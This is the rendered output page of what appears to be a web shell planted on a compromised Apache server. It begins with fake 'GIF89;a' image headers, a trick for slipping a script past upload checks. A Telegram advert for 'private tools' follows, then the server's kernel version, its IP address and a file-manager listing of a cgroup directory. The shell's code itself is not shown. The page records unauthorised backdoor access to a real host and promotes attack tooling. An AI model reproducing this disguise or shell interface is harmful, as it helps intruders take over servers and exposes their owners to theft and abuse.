id=2276
GIF89;aGIF89;aGIF89;aFor more Private tool come to me!
https://t.me/aDriv4vz
Linux wpmu 6.1.0-38-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.147-1 (2025-08-02) x86_64
Apache
45.150.186.219
Apache
45.150.186.219
| Name | Type | Size | Owner/Group | Permission | Last Modified | Actions |
| . | dir | - | nobody/root | 0775 | 2025-08-18 06:49:04 | |
| .. | dir | - | nobody/nogroup | 0755 | 2025-08-18 06:28:47 | |
| .lxc | dir | - | root/root | 0755 | 2025-08-19 04:30:03 | |
| dev-mqueue.mount | dir | - | root/root | 0755 | 2025-08-19 04:30:03 | |
| init.scope | dir | - | root/root | 0755 | 2025-08-19 04:30:03 | |
| system.slice | dir | - | root/root | 0755 | 2025-09-07 05:09:01 | |
| user.slice | dir | - | root/root | 0755 | 2025-08-19 04:30:03 | |
| cgroup.controllers | text/plain | 0 B | nobody/nogroup | 0444 | 2025-08-18 06:28:51 | |
| cgroup.events | text/plain | 0 B | nobody/nogroup | 0444 | 2025-08-18 06:51:33 | |
| cgroup.freeze | text/plain | 0 B | nobody/nogroup | 0644 | 2025-08-18 06:28:48 | |
| cgroup.kill | 0 B | nobody/nogroup | 0200 | 2025-08-19 12:35:10 | ||
| cgroup.max.depth | text/plain | 0 B | nobody/nogroup | 0644 | 2025-08-19 12:35:10 | |
| cgroup.max.descendants | text/plain | 0 B | nobody/nogroup | 0644 | 2025-08-19 12:35:10 | |
| cgroup.pressure | text/plain | 0 B | nobody/nogroup | 0644 | 2025-08-19 12:35:10 | |
| cgroup.procs | application/x-empty | 0 B | nobody/root | 0664 | 2025-08-18 06:28:47 | |
| cgroup.stat | text/plain | 0 B | nobody/nogroup | 0444 | 2025-08-19 12:35:10 | |
| cgroup.subtree_control | text/plain | 0 B | nobody/root | 0664 | 2025-09-05 08:51:36 | |
| cgroup.threads | application/x-empty | 0 B | nobody/root | 0664 | 2025-08-18 06:28:47 | |
| cgroup.type | text/plain | 0 B | nobody/nogroup | 0644 | 2025-08-19 12:35:10 | |
| cpu.idle | text/plain | 0 B | nobody/nogroup | 0644 | 2025-08-19 12:35:10 | |
| cpu.max | text/plain | 0 B | nobody/nogroup | 0644 | 2025-08-19 12:35:10 | |
| cpu.max.burst | text/plain | 0 B | nobody/nogroup | 0644 | 2025-08-19 12:35:10 | |
| cpu.pressure | text/plain | 0 B | nobody/nogroup | 0644 | 2025-08-19 12:35:10 | |
| cpu.stat | text/plain | 0 B | nobody/nogroup | 0444 | 2025-08-19 12:35:10 | |
| cpu.weight | text/plain | 0 B | nobody/nogroup | 0644 | 2025-08-19 12:35:10 | |
| cpu.weight.nice | text/plain | 0 B | nobody/nogroup | 0644 | 2025-08-19 12:35:10 | |
| cpuset.cpus | application/octet-stream | 0 B | nobody/nogroup | 0644 | 2025-08-18 06:29:47 | |
| cpuset.cpus.effective | text/plain | 0 B | nobody/nogroup | 0444 | 2025-08-18 06:29:47 | |
| cpuset.cpus.partition | text/plain | 0 B | nobody/nogroup | 0644 | 2025-08-19 12:35:10 | |
| cpuset.mems | application/octet-stream | 0 B | nobody/nogroup | 0644 | 2025-08-19 12:35:10 | |
| cpuset.mems.effective | text/plain | 0 B | nobody/nogroup | 0444 | 2025-08-19 12:35:10 | |
| hugetlb.1GB.current | text/plain | 0 B | nobody/nogroup | 0444 | 2025-08-19 12:35:10 | |
| hugetlb.1GB.events | text/plain | 0 B | nobody/nogroup | 0444 | 2025-08-19 12:35:10 | |
| hugetlb.1GB.events.local | text/plain | 0 B | nobody/nogroup | 0444 | 2025-08-19 12:35:10 | |
| hugetlb.1GB.max | text/plain | 0 B | nobody/nogroup | 0644 | 2025-08-19 12:35:10 | |
| hugetlb.1GB.numa_stat | text/plain | 0 B | nobody/nogroup | 0444 | 2025-08-19 12:35:10 | |
| hugetlb.1GB.rsvd.current | text/plain | 0 B | nobody/nogroup | 0444 | 2025-08-19 12:35:10 | |
| hugetlb.1GB.rsvd.max | text/plain | 0 B | nobody/nogroup | 0644 | 2025-08-19 12:35:10 | |
| hugetlb.2MB.current | text/plain | 0 B | nobody/nogroup | 0444 | 2025-08-19 12:35:10 | |
| hugetlb.2MB.events | text/plain | 0 B | nobody/nogroup | 0444 | 2025-08-19 12:35:10 | |
| hugetlb.2MB.events.local | text/plain | 0 B | nobody/nogroup | 0444 | 2025-08-19 12:35:10 | |
| hugetlb.2MB.max | text/plain | 0 B | nobody/nogroup | 0644 | 2025-08-19 12:35:10 | |
| hugetlb.2MB.numa_stat | text/plain | 0 B | nobody/nogroup | 0444 | 2025-08-19 12:35:10 | |
| hugetlb.2MB.rsvd.current | text/plain | 0 B | nobody/nogroup | 0444 | 2025-08-19 12:35:10 | |
| hugetlb.2MB.rsvd.max | text/plain | 0 B | nobody/nogroup | 0644 | 2025-08-19 12:35:10 | |
| io.max | application/x-empty | 0 B | nobody/nogroup | 0644 | 2025-08-19 12:35:10 | |
| io.pressure | text/plain | 0 B | nobody/nogroup | 0644 | 2025-08-19 12:35:10 | |
| io.stat | text/plain | 0 B | nobody/nogroup | 0444 | 2025-08-19 12:35:10 | |
| io.weight | text/plain | 0 B | nobody/nogroup | 0644 | 2025-08-19 12:35:10 | |
| memory.current | text/plain | 0 B | nobody/nogroup | 0444 | 2025-08-18 06:28:58 | |
| memory.events | text/plain | 0 B | nobody/nogroup | 0444 | 2025-08-18 06:51:33 | |
| memory.events.local | text/plain | 0 B | nobody/nogroup | 0444 | 2025-08-19 12:35:10 | |
| memory.high | text/plain | 0 B | nobody/nogroup | 0644 | 2025-08-19 12:35:10 | |
| memory.low | text/plain | 0 B | nobody/nogroup | 0644 | 2025-08-19 12:35:10 | |
| memory.max | text/plain | 0 B | nobody/nogroup | 0644 | 2025-08-18 06:28:51 | |
| memory.min | text/plain | 0 B | nobody/nogroup | 0644 | 2025-08-19 12:35:10 | |
| memory.numa_stat | text/plain | 0 B | nobody/nogroup | 0444 | 2025-08-19 12:35:10 | |
| memory.oom.group | text/plain | 0 B | nobody/root | 0664 | 2025-08-18 06:28:47 | |
| memory.peak | text/plain | 0 B | nobody/nogroup | 0444 | 2025-08-19 12:35:10 | |
| memory.pressure | text/plain | 0 B | nobody/nogroup | 0644 | 2025-08-19 12:35:10 | |
| memory.reclaim | 0 B | nobody/root | 0664 | 2025-08-18 06:28:47 | ||
| memory.stat | text/plain | 0 B | nobody/nogroup | 0444 | 2025-08-18 06:28:53 | |
| memory.swap.current | text/plain | 0 B | nobody/nogroup | 0444 | 2025-08-19 12:35:10 | |
| memory.swap.events | text/plain | 0 B | nobody/nogroup | 0444 | 2025-08-19 12:35:10 | |
| memory.swap.high | text/plain | 0 B | nobody/nogroup | 0644 | 2025-08-19 12:35:10 | |
| memory.swap.max | text/plain | 0 B | nobody/nogroup | 0644 | 2025-08-19 12:35:10 | |
| memory.zswap.current | text/plain | 0 B | nobody/nogroup | 0444 | 2025-08-19 12:35:10 | |
| memory.zswap.max | text/plain | 0 B | nobody/nogroup | 0644 | 2025-08-19 12:35:10 | |
| misc.current | application/x-empty | 0 B | nobody/nogroup | 0444 | 2025-08-19 12:35:10 | |
| misc.events | application/x-empty | 0 B | nobody/nogroup | 0444 | 2025-08-19 12:35:10 | |
| misc.max | application/x-empty | 0 B | nobody/nogroup | 0644 | 2025-08-19 12:35:10 | |
| pids.current | text/plain | 0 B | nobody/nogroup | 0444 | 2025-08-19 12:35:10 | |
| pids.events | text/plain | 0 B | nobody/nogroup | 0444 | 2025-08-19 12:35:10 | |
| pids.max | text/plain | 0 B | nobody/nogroup | 0644 | 2025-08-18 06:28:57 | |
| pids.peak | text/plain | 0 B | nobody/nogroup | 0444 | 2025-08-19 12:35:10 | |
| rdma.current | application/x-empty | 0 B | nobody/nogroup | 0444 | 2025-08-19 12:35:10 | |
| rdma.max | application/x-empty | 0 B | nobody/nogroup | 0644 | 2025-08-19 12:35:10 |
© aDriv4